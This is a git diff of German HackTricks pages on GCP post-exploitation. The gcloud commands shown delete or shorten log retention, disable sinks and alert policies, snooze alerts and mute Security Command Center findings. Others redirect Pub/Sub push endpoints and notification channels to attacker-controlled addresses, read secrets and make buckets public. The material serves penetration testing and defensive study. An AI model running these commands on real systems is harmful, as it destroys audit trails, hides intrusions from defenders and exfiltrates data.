<summary>Daten mit symmetrischem Schlüssel verschlüsseln (Python)</summary>
|
||||
```python
|
||||
from google.cloud import kms
|
||||
import base64
|
||||
@@ -181,7 +197,13 @@ plaintext = 'your-data-to-encrypt'
|
||||
ciphertext = encrypt_symmetric(project_id, location_id, key_ring_id, key_id, plaintext)
|
||||
print('Ciphertext:', ciphertext)
|
||||
```
|
||||
</details>
|
||||
|
||||
### `cloudkms.cryptoKeyVersions.useToSign`
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Nachricht mit asymmetrischem Schlüssel signieren (Python)</summary>
|
||||
```python
|
||||
import hashlib
|
||||
from google.cloud import kms
|
||||
@@ -215,7 +237,13 @@ message = 'your-message'
|
||||
signature = sign_asymmetric(project_id, location_id, key_ring_id, key_id, key_version, message)
|
||||
print('Signature:', signature)
|
||||
```
|
||||
</details>
|
||||
|
||||
### `cloudkms.cryptoKeyVersions.useToVerify`
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Signatur mit asymmetrischem Schlüssel verifizieren (Python)</summary>
|
||||
```python
|
||||
from google.cloud import kms
|
||||
import hashlib
|
||||
@@ -242,4 +270,6 @@ return verify_response.success
|
||||
verified = verify_asymmetric_signature(project_id, location_id, key_ring_id, key_id, key_version, message, signature)
|
||||
print('Verified:', verified)
|
||||
```
|
||||
</details>
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
+78
-6
@@ -2,7 +2,7 @@
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Grundinformationen
|
||||
## Grundlegende Informationen
|
||||
|
||||
Für weitere Informationen siehe:
|
||||
|
||||
@@ -10,21 +10,25 @@ Für weitere Informationen siehe:
|
||||
../gcp-services/gcp-logging-enum.md
|
||||
{{#endref}}
|
||||
|
||||
Für andere Möglichkeiten, die Überwachung zu stören, siehe:
|
||||
Für andere Möglichkeiten, das Monitoring zu stören, siehe:
|
||||
|
||||
{{#ref}}
|
||||
gcp-monitoring-post-exploitation.md
|
||||
{{#endref}}
|
||||
|
||||
### Standardprotokollierung
|
||||
### Default Logging
|
||||
|
||||
**Standardmäßig werden Sie nicht erwischt, nur weil Sie Leseaktionen durchführen. Für weitere Informationen siehe den Abschnitt Logging Enum.**
|
||||
**Standardmäßig wirst du nicht allein dadurch entdeckt, dass du nur Lesezugriffe ausführst. Für mehr Informationen siehe den Abschnitt Logging Enum.**
|
||||
|
||||
### Ausgenommenen Principal hinzufügen
|
||||
|
||||
In [https://console.cloud.google.com/iam-admin/audit/allservices](https://console.cloud.google.com/iam-admin/audit/allservices) und [https://console.cloud.google.com/iam-admin/audit](https://console.cloud.google.com/iam-admin/audit) ist es möglich, Principals hinzuzufügen, um keine Protokolle zu generieren. Ein Angreifer könnte dies ausnutzen, um zu verhindern, dass er erwischt wird.
|
||||
In [https://console.cloud.google.com/iam-admin/audit/allservices](https://console.cloud.google.com/iam-admin/audit/allservices) und [https://console.cloud.google.com/iam-admin/audit](https://console.cloud.google.com/iam-admin/audit) ist es möglich, Principals hinzuzufügen, damit keine Logs generiert werden. Ein Angreifer könnte dies missbrauchen, um nicht entdeckt zu werden.
|
||||
|
||||
### Protokolle lesen - `logging.logEntries.list`
|
||||
### Logs lesen - `logging.logEntries.list`
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Logeinträge lesen</summary>
|
||||
```bash
|
||||
# Read logs
|
||||
gcloud logging read "logName=projects/your-project-id/logs/log-id" --limit=10 --format=json
|
||||
@@ -34,58 +38,124 @@ gcloud logging read "timestamp >= \"2023-01-01T00:00:00Z\"" --limit=10 --format=
|
||||
|
||||
# Use these options to indicate a different bucket or view to use: --bucket=_Required --view=_Default
|
||||
```
|
||||
</details>
|
||||
|
||||
### `logging.logs.delete`
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Logeinträge löschen</summary>
|
||||
```bash
|
||||
# Delete all entries from a log in the _Default log bucket - logging.logs.delete
|
||||
gcloud logging logs delete <log-name>
|
||||
```
|
||||
</details>
|
||||
|
||||
### Protokolle schreiben - `logging.logEntries.create`
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Protokolleintrag schreiben</summary>
|
||||
```bash
|
||||
# Write a log entry to try to disrupt some system
|
||||
gcloud logging write LOG_NAME "A deceptive log entry" --severity=ERROR
|
||||
```
|
||||
</details>
|
||||
|
||||
### `logging.buckets.update`
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Log bucket retention aktualisieren</summary>
|
||||
```bash
|
||||
# Set retention period to 1 day (_Required has a fixed one of 400days)
|
||||
|
||||
gcloud logging buckets update bucketlog --location=<location> --description="New description" --retention-days=1
|
||||
```
|
||||
</details>
|
||||
|
||||
### `logging.buckets.delete`
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Log-Bucket löschen</summary>
|
||||
```bash
|
||||
# Delete log bucket
|
||||
gcloud logging buckets delete BUCKET_NAME --location=<location>
|
||||
```
|
||||
</details>
|
||||
|
||||
### `logging.links.delete`
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Log-Link löschen</summary>
|
||||
```bash
|
||||
# Delete link
|
||||
gcloud logging links delete <link-id> --bucket <bucket> --location <location>
|
||||
```
|
||||
</details>
|
||||
|
||||
### `logging.views.delete`
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Logging-Ansicht löschen</summary>
|
||||
```bash
|
||||
# Delete a logging view to remove access to anyone using it
|
||||
gcloud logging views delete <view-id> --bucket=<bucket> --location=global
|
||||
```
|
||||
</details>
|
||||
|
||||
### `logging.views.update`
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Logging-Ansicht aktualisieren, um Daten zu verbergen</summary>
|
||||
```bash
|
||||
# Update a logging view to hide data
|
||||
gcloud logging views update <view-id> --log-filter="resource.type=gce_instance" --bucket=<bucket> --location=global --description="New description for the log view"
|
||||
```
|
||||
</details>
|
||||
|
||||
### `logging.logMetrics.update`
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Log-based metrics aktualisieren</summary>
|
||||
```bash
|
||||
# Update log based metrics - logging.logMetrics.update
|
||||
gcloud logging metrics update <metric-name> --description="Changed metric description" --log-filter="severity>CRITICAL" --project=PROJECT_ID
|
||||
```
|
||||
</details>
|
||||
|
||||
### `logging.logMetrics.delete`
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Log-basierte Metriken löschen</summary>
|
||||
```bash
|
||||
# Delete log based metrics - logging.logMetrics.delete
|
||||
gcloud logging metrics delete <metric-name>
|
||||
```
|
||||
</details>
|
||||
|
||||
### `logging.sinks.delete`
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Log-Sink löschen</summary>
|
||||
```bash
|
||||
# Delete sink - logging.sinks.delete
|
||||
gcloud logging sinks delete <sink-name>
|
||||
```
|
||||
</details>
|
||||
|
||||
### `logging.sinks.update`
|
||||
|
||||
<details>
|
||||
|
||||
<summary>log sink aktualisieren/stören</summary>
|
||||
```bash
|
||||
# Disable sink - logging.sinks.update
|
||||
gcloud logging sinks update <sink-name> --disabled
|
||||
@@ -106,4 +176,6 @@ gcloud logging sinks update SINK_NAME --clear-exclusions
|
||||
gcloud logging sinks update SINK_NAME --use-partitioned-tables
|
||||
gcloud logging sinks update SINK_NAME --no-use-partitioned-tables
|
||||
```
|
||||
</details>
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
+59
-11
@@ -1,8 +1,8 @@
|
||||
# GCP - Monitoring Post Exploitation
|
||||
# GCP - Überwachung Post Exploitation
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Monitoring
|
||||
## Überwachung
|
||||
|
||||
Für weitere Informationen siehe:
|
||||
|
||||
@@ -10,7 +10,7 @@ Für weitere Informationen siehe:
|
||||
../gcp-services/gcp-monitoring-enum.md
|
||||
{{#endref}}
|
||||
|
||||
Für andere Möglichkeiten, Protokolle zu stören, siehe:
|
||||
Für andere Wege, Logs zu manipulieren, siehe:
|
||||
|
||||
{{#ref}}
|
||||
gcp-logging-post-exploitation.md
|
||||
@@ -18,13 +18,23 @@ gcp-logging-post-exploitation.md
|
||||
|
||||
### `monitoring.alertPolicies.delete`
|
||||
|
||||
Löschen einer Alarmrichtlinie:
|
||||
Alarmrichtlinie löschen:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Alarmrichtlinie löschen</summary>
|
||||
```bash
|
||||
gcloud alpha monitoring policies delete <policy>
|
||||
```
|
||||
</details>
|
||||
|
||||
### `monitoring.alertPolicies.update`
|
||||
|
||||
Stören Sie eine Alarmrichtlinie:
|
||||
Eine alert policy stören:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Eine alert policy stören</summary>
|
||||
```bash
|
||||
# Disable policy
|
||||
gcloud alpha monitoring policies update <alert-policy> --no-enabled
|
||||
@@ -39,9 +49,15 @@ gcloud alpha monitoring policies update <alert-policy> --set-notification-channe
|
||||
gcloud alpha monitoring policies update <alert-policy> --policy="{ 'displayName': 'New Policy Name', 'conditions': [ ... ], 'combiner': 'AND', ... }"
|
||||
# or use --policy-from-file <policy-file>
|
||||
```
|
||||
</details>
|
||||
|
||||
### `monitoring.dashboards.update`
|
||||
|
||||
Ändern Sie ein Dashboard, um es zu stören:
|
||||
Ein Dashboard modifizieren, um es zu stören:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Dashboard stören</summary>
|
||||
```bash
|
||||
# Disrupt dashboard
|
||||
gcloud monitoring dashboards update <dashboard> --config='''
|
||||
@@ -53,16 +69,28 @@ widgets:
|
||||
content: Hello World
|
||||
'''
|
||||
```
|
||||
</details>
|
||||
|
||||
### `monitoring.dashboards.delete`
|
||||
|
||||
Löschen Sie ein Dashboard:
|
||||
Ein Dashboard löschen:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Dashboard löschen</summary>
|
||||
```bash
|
||||
# Delete dashboard
|
||||
gcloud monitoring dashboards delete <dashboard>
|
||||
```
|
||||
</details>
|
||||
|
||||
### `monitoring.snoozes.create`
|
||||
|
||||
Verhindern Sie, dass Richtlinien Warnungen generieren, indem Sie einen Snoozer erstellen:
|
||||
Verhindere, dass Richtlinien Alarme erzeugen, indem du einen Snoozer erstellst:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Snoozer erstellen, um Alarme zu stoppen</summary>
|
||||
```bash
|
||||
# Stop alerts by creating a snoozer
|
||||
gcloud monitoring snoozes create --display-name="Maintenance Week" \
|
||||
@@ -70,9 +98,15 @@ gcloud monitoring snoozes create --display-name="Maintenance Week" \
|
||||
--start-time="2023-03-01T03:00:00.0-0500" \
|
||||
--end-time="2023-03-07T23:59:59.5-0500"
|
||||
```
|
||||
</details>
|
||||
|
||||
### `monitoring.snoozes.update`
|
||||
|
||||
Aktualisieren Sie die Zeitplanung eines Snoozers, um zu verhindern, dass Warnungen erstellt werden, wenn der Angreifer interessiert ist:
|
||||
Aktualisiere die Zeitplanung eines Snoozers, um zu verhindern, dass Alarme zu Zeiten ausgelöst werden, in denen es dem Angreifer gelegen kommt:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Snoozer-Zeitplan aktualisieren</summary>
|
||||
```bash
|
||||
# Modify the timing of a snooze
|
||||
gcloud monitoring snoozes update <snooze> --start-time=START_TIME --end-time=END_TIME
|
||||
@@ -80,19 +114,33 @@ gcloud monitoring snoozes update <snooze> --start-time=START_TIME --end-time=END
|
||||
# odify everything, including affected policies
|
||||
gcloud monitoring snoozes update <snooze> --snooze-from-file=<file>
|
||||
```
|
||||
</details>
|
||||
|
||||
### `monitoring.notificationChannels.delete`
|
||||
|
||||
Löschen Sie einen konfigurierten Kanal:
|
||||
Einen konfigurierten Benachrichtigungskanal löschen:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Benachrichtigungskanal löschen</summary>
|
||||
```bash
|
||||
# Delete channel
|
||||
gcloud alpha monitoring channels delete <channel>
|
||||
```
|
||||
</details>
|
||||
|
||||
### `monitoring.notificationChannels.update`
|
||||
|
||||
Aktualisieren Sie die Labels eines Kanals, um ihn zu stören:
|
||||
Labels eines Kanals aktualisieren, um ihn zu stören:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Benachrichtigungskanal-Labels aktualisieren</summary>
|
||||
```bash
|
||||
# Delete or update labels, for example email channels have the email indicated here
|
||||
gcloud alpha monitoring channels update CHANNEL_ID --clear-channel-labels
|
||||
gcloud alpha monitoring channels update CHANNEL_ID --update-channel-labels=email_address=attacker@example.com
|
||||
```
|
||||
</details>
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
+78
-18
@@ -1,10 +1,10 @@
|
||||
# GCP - Pub/Sub Post Exploitation
|
||||
# GCP - Pub/Sub Post-Exploitation
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Pub/Sub
|
||||
|
||||
Für weitere Informationen zu Pub/Sub siehe die folgende Seite:
|
||||
Für mehr Informationen über Pub/Sub siehe die folgende Seite:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-services/gcp-pub-sub.md
|
||||
@@ -12,40 +12,68 @@ Für weitere Informationen zu Pub/Sub siehe die folgende Seite:
|
||||
|
||||
### `pubsub.topics.publish`
|
||||
|
||||
Veröffentlichen Sie eine Nachricht in einem Thema, nützlich, um **unerwartete Daten** zu senden und unerwartete Funktionen auszulösen oder Schwachstellen auszunutzen:
|
||||
Veröffentlicht eine Nachricht in einem Topic, nützlich, um **unerwartete Daten zu senden** und unerwartete Funktionen auszulösen oder Schwachstellen auszunutzen:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Nachricht an Topic veröffentlichen</summary>
|
||||
```bash
|
||||
# Publish a message in a topic
|
||||
gcloud pubsub topics publish <topic_name> --message "Hello!"
|
||||
```
|
||||
</details>
|
||||
|
||||
### `pubsub.topics.detachSubscription`
|
||||
|
||||
Nützlich, um zu verhindern, dass ein Abonnement Nachrichten empfängt, möglicherweise um eine Entdeckung zu vermeiden.
|
||||
Nützlich, um zu verhindern, dass eine Subscription Nachrichten empfängt, möglicherweise um eine Entdeckung zu vermeiden.
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Subscription vom Topic trennen</summary>
|
||||
```bash
|
||||
gcloud pubsub topics detach-subscription <FULL SUBSCRIPTION NAME>
|
||||
```
|
||||
</details>
|
||||
|
||||
### `pubsub.topics.delete`
|
||||
|
||||
Nützlich, um zu verhindern, dass ein Abonnement Nachrichten empfängt, möglicherweise um eine Entdeckung zu vermeiden.\
|
||||
Es ist möglich, ein Thema zu löschen, selbst wenn Abonnements daran angehängt sind.
|
||||
Nützlich, um zu verhindern, dass eine subscription Nachrichten empfängt, vielleicht um eine Erkennung zu vermeiden.\
|
||||
Es ist möglich, ein topic zu löschen, selbst wenn subscriptions daran angehängt sind.
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Topic löschen</summary>
|
||||
```bash
|
||||
gcloud pubsub topics delete <TOPIC NAME>
|
||||
```
|
||||
</details>
|
||||
|
||||
### `pubsub.topics.update`
|
||||
|
||||
Verwenden Sie diese Berechtigung, um einige Einstellungen des Themas zu aktualisieren, um es zu stören, wie `--clear-schema-settings`, `--message-retention-duration`, `--message-storage-policy-allowed-regions`, `--schema`, `--schema-project`, `--topic-encryption-key`...
|
||||
Verwende diese Berechtigung, um eine Einstellung des Topics zu ändern, um es zu stören, z. B. `--clear-schema-settings`, `--message-retention-duration`, `--message-storage-policy-allowed-regions`, `--schema`, `--schema-project`, `--topic-encryption-key`...
|
||||
|
||||
### `pubsub.topics.setIamPolicy`
|
||||
|
||||
Geben Sie sich die Berechtigung, um einen der vorherigen Angriffe durchzuführen.
|
||||
Gib dir selbst die Berechtigung, einen der vorherigen Angriffe durchzuführen.
|
||||
|
||||
### **`pubsub.subscriptions.create,`**`pubsub.topics.attachSubscription` , (`pubsub.subscriptions.consume`)
|
||||
|
||||
Holen Sie sich alle Nachrichten in einem Webserver:
|
||||
Hole alle Nachrichten auf einem Webserver:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Erstelle eine push subscription, um Nachrichten zu empfangen</summary>
|
||||
```bash
|
||||
# Crete push subscription and recieve all the messages instantly in your web server
|
||||
gcloud pubsub subscriptions create <subscription name> --topic <topic name> --push-endpoint https://<URL to push to>
|
||||
```
|
||||
Erstellen Sie ein Abonnement und verwenden Sie es, um **Nachrichten abzurufen**:
|
||||
</details>
|
||||
|
||||
Erstelle eine Pull-Subscription und rufe Nachrichten per Pull ab:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Pull-Subscription erstellen und Nachrichten abrufen</summary>
|
||||
```bash
|
||||
# This will retrive a non ACKed message (and won't ACK it)
|
||||
gcloud pubsub subscriptions create <subscription name> --topic <topic_name>
|
||||
@@ -54,26 +82,44 @@ gcloud pubsub subscriptions create <subscription name> --topic <topic_name>
|
||||
gcloud pubsub subscriptions pull <FULL SUBSCRIPTION NAME>
|
||||
## This command will wait for a message to be posted
|
||||
```
|
||||
</details>
|
||||
|
||||
### `pubsub.subscriptions.delete`
|
||||
|
||||
**Das Löschen eines Abonnements** könnte nützlich sein, um ein Protokollverarbeitungssystem oder etwas Ähnliches zu stören:
|
||||
**Ein Abonnement löschen** kann nützlich sein, um ein Log-Processing-System oder etwas Ähnliches zu stören:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Abonnement löschen</summary>
|
||||
```bash
|
||||
gcloud pubsub subscriptions delete <FULL SUBSCRIPTION NAME>
|
||||
```
|
||||
</details>
|
||||
|
||||
### `pubsub.subscriptions.update`
|
||||
|
||||
Verwenden Sie diese Berechtigung, um einige Einstellungen zu aktualisieren, damit Nachrichten an einem Ort gespeichert werden, auf den Sie zugreifen können (URL, Big Query-Tabelle, Bucket) oder um sie einfach zu stören.
|
||||
Verwende diese Berechtigung, um eine Einstellung zu ändern, sodass Nachrichten an einem Ort gespeichert werden, auf den du zugreifen kannst (URL, Big Query table, Bucket) oder um sie einfach zu stören.
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Subscription-Endpunkt aktualisieren</summary>
|
||||
```bash
|
||||
gcloud pubsub subscriptions update --push-endpoint <your URL> <subscription-name>
|
||||
```
|
||||
</details>
|
||||
|
||||
### `pubsub.subscriptions.setIamPolicy`
|
||||
|
||||
Geben Sie sich die erforderlichen Berechtigungen, um eine der zuvor kommentierten Angriffe durchzuführen.
|
||||
Gib dir die Berechtigungen, die benötigt werden, um eine der zuvor beschriebenen Angriffe auszuführen.
|
||||
|
||||
### `pubsub.schemas.attach`, `pubsub.topics.update`,(`pubsub.schemas.create`)
|
||||
|
||||
Greifen Sie auf ein Schema zu einem Thema zu, sodass die Nachrichten es nicht erfüllen und das Thema daher gestört wird.\
|
||||
Wenn es keine Schemas gibt, müssen Sie möglicherweise eines erstellen.
|
||||
Hänge ein schema an ein topic, sodass die Nachrichten es nicht erfüllen und dadurch das topic gestört wird.\
|
||||
Falls keine schemas vorhanden sind, musst du möglicherweise eines erstellen.
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Erstelle eine schema-Datei und hänge sie an ein topic an</summary>
|
||||
```json:schema.json
|
||||
{
|
||||
"namespace": "com.example",
|
||||
@@ -98,23 +144,37 @@ gcloud pubsub topics update projects/<project-name>/topics/<topic-id> \
|
||||
--schema=projects/<project-name>/schemas/<topic-id> \
|
||||
--message-encoding=json
|
||||
```
|
||||
</details>
|
||||
|
||||
### `pubsub.schemas.delete`
|
||||
|
||||
Das mag wie das Löschen eines Schemas aussehen, aber Sie werden in der Lage sein, Nachrichten zu senden, die nicht mit dem Schema übereinstimmen. Da das Schema jedoch gelöscht wird, wird keine Nachricht tatsächlich in das Thema eingehen. Das ist also **NUTZLOS**:
|
||||
Das könnte so aussehen, als würde das Löschen eines Schemas es ermöglichen, Nachrichten zu senden, die nicht dem Schema entsprechen. Allerdings werden, da das Schema gelöscht ist, keine Nachrichten tatsächlich in das Topic gelangen. Daher ist das **NUTZLOS**:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Schema löschen (nicht nützlich)</summary>
|
||||
```bash
|
||||
gcloud pubsub schemas delete <SCHEMA NAME>
|
||||
```
|
||||
</details>
|
||||
|
||||
### `pubsub.schemas.setIamPolicy`
|
||||
|
||||
Geben Sie sich die erforderlichen Berechtigungen, um eine der zuvor kommentierten Angriffe durchzuführen.
|
||||
Gib dir die Berechtigungen, die nötig sind, um einen der zuvor genannten Angriffe durchzuführen.
|
||||
|
||||
### `pubsub.snapshots.create`, `pubsub.snapshots.seek`
|
||||
|
||||
Dies wird einen Snapshot aller unbestätigten Nachrichten erstellen und sie zurück zum Abonnement bringen. Für einen Angreifer nicht sehr nützlich, aber hier ist es:
|
||||
Dies erstellt einen Snapshot aller unACKed Nachrichten und spielt sie wieder in die subscription ein. Für einen Angreifer nicht sehr nützlich, aber hier ist es:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Snapshot erstellen und darauf seeken</summary>
|
||||
```bash
|
||||
gcloud pubsub snapshots create YOUR_SNAPSHOT_NAME \
|
||||
--subscription=YOUR_SUBSCRIPTION_NAME
|
||||
gcloud pubsub subscriptions seek YOUR_SUBSCRIPTION_NAME \
|
||||
--snapshot=YOUR_SNAPSHOT_NAME
|
||||
```
|
||||
</details>
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
+8
-2
@@ -4,7 +4,7 @@
|
||||
|
||||
## Secretmanager
|
||||
|
||||
Für weitere Informationen über den Secret Manager siehe:
|
||||
Für weitere Informationen zum Secret Manager siehe:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-services/gcp-secrets-manager-enum.md
|
||||
@@ -12,9 +12,15 @@ Für weitere Informationen über den Secret Manager siehe:
|
||||
|
||||
### `secretmanager.versions.access`
|
||||
|
||||
Dies gibt Ihnen Zugriff auf das Lesen der Geheimnisse aus dem Secret Manager und könnte möglicherweise helfen, Privilegien zu eskalieren (je nachdem, welche Informationen im Geheimnis gespeichert sind):
|
||||
Dies gibt dir Zugriff, die Secrets aus dem Secret Manager zu lesen und kann möglicherweise helfen, Privilegien zu eskalieren (abhängig davon, welche Informationen im Secret gespeichert sind):
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Secret-Version abrufen</summary>
|
||||
```bash
|
||||
# Get clear-text of version 1 of secret: "<secret name>"
|
||||
gcloud secrets versions access 1 --secret="<secret_name>"
|
||||
```
|
||||
</details>
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
+38
-8
@@ -1,4 +1,4 @@
|
||||
# GCP - Sicherheit nach der Ausnutzung
|
||||
# GCP - Sicherheit Post Exploitation
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -12,37 +12,67 @@ Für weitere Informationen siehe:
|
||||
|
||||
### `securitycenter.muteconfigs.create`
|
||||
|
||||
Verhindern Sie die Erstellung von Ergebnissen, die einen Angreifer erkennen könnten, indem Sie eine `muteconfig` erstellen:
|
||||
Verhindere die Generierung von Findings, die einen Angreifer erkennen könnten, indem du eine `muteconfig` erstellst:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Muteconfig erstellen</summary>
|
||||
```bash
|
||||
# Create Muteconfig
|
||||
gcloud scc muteconfigs create my-mute-config --organization=123 --description="This is a test mute config" --filter="category=\"XSS_SCRIPTING\""
|
||||
```
|
||||
</details>
|
||||
|
||||
### `securitycenter.muteconfigs.update`
|
||||
|
||||
Verhindern Sie die Erstellung von Erkenntnissen, die einen Angreifer erkennen könnten, indem Sie eine `muteconfig` aktualisieren:
|
||||
Verhindern der Generierung von findings, die einen Angreifer entdecken könnten, indem eine `muteconfig` aktualisiert wird:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Muteconfig aktualisieren</summary>
|
||||
```bash
|
||||
# Update Muteconfig
|
||||
gcloud scc muteconfigs update my-test-mute-config --organization=123 --description="This is a test mute config" --filter="category=\"XSS_SCRIPTING\""
|
||||
```
|
||||
</details>
|
||||
|
||||
### `securitycenter.findings.bulkMuteUpdate`
|
||||
|
||||
Stummschalten von Ergebnissen basierend auf einem Filter:
|
||||
Findings basierend auf einem Filter stummschalten:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Massen-Stummschaltung basierend auf einem Filter</summary>
|
||||
```bash
|
||||
# Mute based on a filter
|
||||
gcloud scc findings bulk-mute --organization=929851756715 --filter="category=\"XSS_SCRIPTING\""
|
||||
```
|
||||
Ein stummgeschalteter Befund erscheint nicht im SCC-Dashboard und in Berichten.
|
||||
</details>
|
||||
|
||||
Ein muted finding wird nicht im SCC-Dashboard und in Berichten angezeigt.
|
||||
|
||||
### `securitycenter.findings.setMute`
|
||||
|
||||
Stummgeschaltete Befunde basierend auf Quelle, Befunden...
|
||||
Findings basierend auf der Quelle stummschalten...
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Finding als muted setzen</summary>
|
||||
```bash
|
||||
gcloud scc findings set-mute 789 --organization=organizations/123 --source=456 --mute=MUTED
|
||||
gcloud scc findings set-mute 789 --organization=organizations/123 --source=456 --mute=MUTED
|
||||
```
|
||||
</details>
|
||||
|
||||
### `securitycenter.findings.update`
|
||||
|
||||
Aktualisieren Sie einen Befund, um fehlerhafte Informationen anzuzeigen:
|
||||
Ein Finding aktualisieren, um fehlerhafte Informationen anzuzeigen:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Finding-Status aktualisieren</summary>
|
||||
```bash
|
||||
gcloud scc findings update `myFinding` --organization=123456 --source=5678 --state=INACTIVE
|
||||
```
|
||||
</details>
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
+11
-5
@@ -4,15 +4,19 @@
|
||||
|
||||
## Cloud Storage
|
||||
|
||||
Für weitere Informationen zu Cloud Storage siehe diese Seite:
|
||||
Für weitere Informationen über Cloud Storage siehe diese Seite:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-services/gcp-storage-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Öffentliches Zugriffsrecht gewähren
|
||||
### Öffentlichen Zugriff gewähren
|
||||
|
||||
Es ist möglich, externen Benutzern (ob in GCP angemeldet oder nicht) Zugriff auf den Inhalt von Buckets zu gewähren. Standardmäßig ist jedoch die Option, einen Bucket öffentlich zugänglich zu machen, deaktiviert:
|
||||
Es ist möglich, externen Benutzern (ob in GCP angemeldet oder nicht) Zugriff auf den Inhalt von Buckets zu gewähren. Standardmäßig ist die Option, ein Bucket öffentlich zugänglich zu machen, jedoch deaktiviert:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Bucket/Objekte öffentlich machen</summary>
|
||||
```bash
|
||||
# Disable public prevention
|
||||
gcloud storage buckets update gs://BUCKET_NAME --no-public-access-prevention
|
||||
@@ -25,8 +29,10 @@ gcloud storage buckets add-iam-policy-binding gs://BUCKET_NAME --member=allUsers
|
||||
gcloud storage buckets update gs://BUCKET_NAME --add-acl-grant=entity=AllUsers,role=READER
|
||||
gcloud storage objects update gs://BUCKET_NAME/OBJECT_NAME --add-acl-grant=entity=AllUsers,role=READER
|
||||
```
|
||||
Wenn Sie versuchen, **ACLs für einen Bucket mit deaktivierten ACLs** zu vergeben, erhalten Sie diesen Fehler: `ERROR: HTTPError 400: Cannot use ACL API to update bucket policy when uniform bucket-level access is enabled. Read more at https://cloud.google.com/storage/docs/uniform-bucket-level-access`
|
||||
</details>
|
||||
|
||||
Um auf offene Buckets über den Browser zuzugreifen, verwenden Sie die URL `https://<bucket_name>.storage.googleapis.com/` oder `https://<bucket_name>.storage.googleapis.com/<object_name>`
|
||||
Wenn Sie versuchen, **ACLs für einen bucket mit deaktivierten ACLs** zu vergeben, erhalten Sie diesen Fehler: `ERROR: HTTPError 400: Cannot use ACL API to update bucket policy when uniform bucket-level access is enabled. Read more at https://cloud.google.com/storage/docs/uniform-bucket-level-access`
|
||||
|
||||
Um auf offene buckets über den Browser zuzugreifen, rufen Sie die URL `https://<bucket_name>.storage.googleapis.com/` oder `https://<bucket_name>.storage.googleapis.com/<object_name>` auf
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
-113
@@ -1,113 +0,0 @@
|
||||
# GCP - Vertex AI Post-Exploitation via Hugging Face Model Namespace Reuse
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Szenario
|
||||
|
||||
- Der Vertex AI Model Garden ermöglicht die direkte Bereitstellung vieler Hugging Face (HF)-Modelle.
|
||||
- HF model identifiers sind Author/ModelName. Wenn ein Author/Org auf HF gelöscht wird, kann derselbe Autorenname von jedem neu registriert werden. Angreifer können dann ein Repo mit demselben ModelName am Legacy-Pfad erstellen.
|
||||
- Pipelines, SDKs oder Cloud-Kataloge, die nur nach Name holen (kein Pinning/keine Integritätsprüfung), werden das von Angreifern kontrollierte Repo ziehen. Wenn das Modell bereitgestellt wird, kann Loader-Code aus diesem Repo innerhalb des Vertex AI Endpoint-Containers ausgeführt werden und RCE mit den Berechtigungen des Endpoints ermöglichen.
|
||||
|
||||
Zwei häufige Übernahmefälle auf HF:
|
||||
- Ownership deletion: Alter Pfad liefert 404, bis jemand den Autor erneut registriert und denselben ModelName veröffentlicht.
|
||||
- Ownership transfer: HF gibt 307 Redirects vom alten Author/ModelName zum neuen Author aus. Wenn der alte Author später gelöscht und von einem Angreifer neu registriert wird, ist die Redirect-Kette gebrochen und das Repo des Angreifers wird am Legacy-Pfad ausgeliefert.
|
||||
|
||||
## Identifizieren wiederverwendbarer Namespaces (HF)
|
||||
|
||||
- Alter Author gelöscht: die Seite des Authors liefert 404; der Modellpfad kann 404 zurückgeben, bis eine Übernahme erfolgt.
|
||||
